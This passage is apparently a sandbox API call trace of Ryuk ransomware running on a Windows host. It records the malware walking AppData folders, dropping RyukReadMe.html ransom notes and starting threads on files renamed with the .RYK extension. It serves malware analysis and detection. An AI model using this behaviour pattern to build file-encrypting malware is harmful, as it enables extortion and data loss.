	[0249.077] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0249.078] GetLastError () returned 0x0
	[0249.078] WriteFile (in: hFile=0x74c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0249.082] CloseHandle (hObject=0x74c) returned 1
	[0249.082] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0
	[0249.082] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0249.083] SetLastError (dwErrCode=0x0) 
	[0249.083] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0249.083] GetLastError () returned 0xb7
	[0249.083] CloseHandle (hObject=0x724) returned 1
	[0249.083] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0249.083] SetLastError (dwErrCode=0x0) 
	[0249.084] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0249.084] GetLastError () returned 0xb7
	[0249.084] CloseHandle (hObject=0x724) returned 1
	[0249.084] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0249.086] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.086] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0249.086] SetLastError (dwErrCode=0x0) 
	[0249.086] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0249.090] GetLastError () returned 0x0
	[0249.090] WriteFile (in: hFile=0x74c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0249.092] CloseHandle (hObject=0x74c) returned 1
	[0249.093] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0249.093] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.093] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0249.094] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0249.094] SetLastError (dwErrCode=0x0) 
	[0249.094] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\Gadgets\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\gadgets\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.094] GetLastError () returned 0x3
	[0249.094] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0249.094] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.095] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0249.095] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
	[0249.095] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0249.095] SetLastError (dwErrCode=0x0) 
	[0249.095] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0249.095] GetLastError () returned 0xb7
	[0249.095] CloseHandle (hObject=0x724) returned 1
	[0249.097] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0249.097] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0249.097] SetLastError (dwErrCode=0x0) 
	[0249.097] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0249.097] GetLastError () returned 0xb7
	[0249.098] CloseHandle (hObject=0x5c4) returned 1
	[0249.098] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0249.098] SetLastError (dwErrCode=0x0) 
	[0249.098] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0249.099] GetLastError () returned 0xb7
	[0249.099] CloseHandle (hObject=0x5c4) returned 1
	[0249.099] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0249.101] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.101] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0249.101] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0249.101] SetLastError (dwErrCode=0x0) 
	[0249.101] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0249.102] GetLastError () returned 0x0
	[0249.102] WriteFile (in: hFile=0x5c4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10d718, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10d718*=0x273, lpOverlapped=0x0) returned 1
	[0249.105] CloseHandle (hObject=0x5c4) returned 1
	[0249.105] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0249.106] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0249.106] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0249.106] SetLastError (dwErrCode=0x0) 
	[0249.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0249.106] GetLastError () returned 0xb7
	[0249.106] CloseHandle (hObject=0x5c4) returned 1
	[0249.107] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51f145b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x51f145b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0249.107] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51f145b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x51f145b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.108] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdb9a6e0, ftCreationTime.dwHighDateTime=0x1d5bbf5, ftLastAccessTime.dwLowDateTime=0x7c0a6140, ftLastAccessTime.dwHighDateTime=0x1d5c0e0, ftLastWriteTime.dwLowDateTime=0x4e3de270, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10872, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="-G8QAFqH7VYxt6.mkv.RYK", cAlternateFileName="-G8QAF~1.RYK")) returned 1
	[0249.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724
	[0249.504] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.508] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc38ef660, ftCreationTime.dwHighDateTime=0x1d5b7a9, ftLastAccessTime.dwLowDateTime=0x7e855f0, ftLastAccessTime.dwHighDateTime=0x1d5b7b8, ftLastWriteTime.dwLowDateTime=0x4e42a530, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x183c2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="026xWvE01Y4.m4a.RYK", cAlternateFileName="026XWV~1.RYK")) returned 1
	[0249.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0249.513] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.514] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4dec250, ftCreationTime.dwHighDateTime=0x1d5baa5, ftLastAccessTime.dwLowDateTime=0x22df5aa0, ftLastAccessTime.dwHighDateTime=0x1d5baf3, ftLastWriteTime.dwLowDateTime=0x22df5aa0, ftLastWriteTime.dwHighDateTime=0x1d5baf3, nFileSizeHigh=0x0, nFileSizeLow=0x17edc, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="1CRIC9Y1YG7tpqYhKZpE.flv", cAlternateFileName="1CRIC9~1.FLV")) returned 1
	[0249.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0249.522] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.523] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f217220, ftCreationTime.dwHighDateTime=0x1d5ba38, ftLastAccessTime.dwLowDateTime=0x6ddad7f0, ftLastAccessTime.dwHighDateTime=0x1d5bdfa, ftLastWriteTime.dwLowDateTime=0x4e450690, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xbda2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="3BjGRofHkmE_xK.avi.RYK", cAlternateFileName="3BJGRO~1.RYK")) returned 1
	[0249.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738
	[0249.527] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.529] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd9deae0, ftCreationTime.dwHighDateTime=0x1d5c0be, ftLastAccessTime.dwLowDateTime=0xf173c010, ftLastAccessTime.dwHighDateTime=0x1d5baa6, ftLastWriteTime.dwLowDateTime=0x4e4767f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10b32, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="3Er-.jpg.RYK", cAlternateFileName="3ER-JP~1.RYK")) returned 1
	[0249.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0249.558] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.559] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66eed9b0, ftCreationTime.dwHighDateTime=0x1d5b700, ftLastAccessTime.dwLowDateTime=0xb9c06200, ftLastAccessTime.dwHighDateTime=0x1d5c531, ftLastWriteTime.dwLowDateTime=0x4e49c950, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1c82, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="4A3TcmNtg9qqVR5x.mp3", cAlternateFileName="4A3TCM~1.MP3")) returned 1
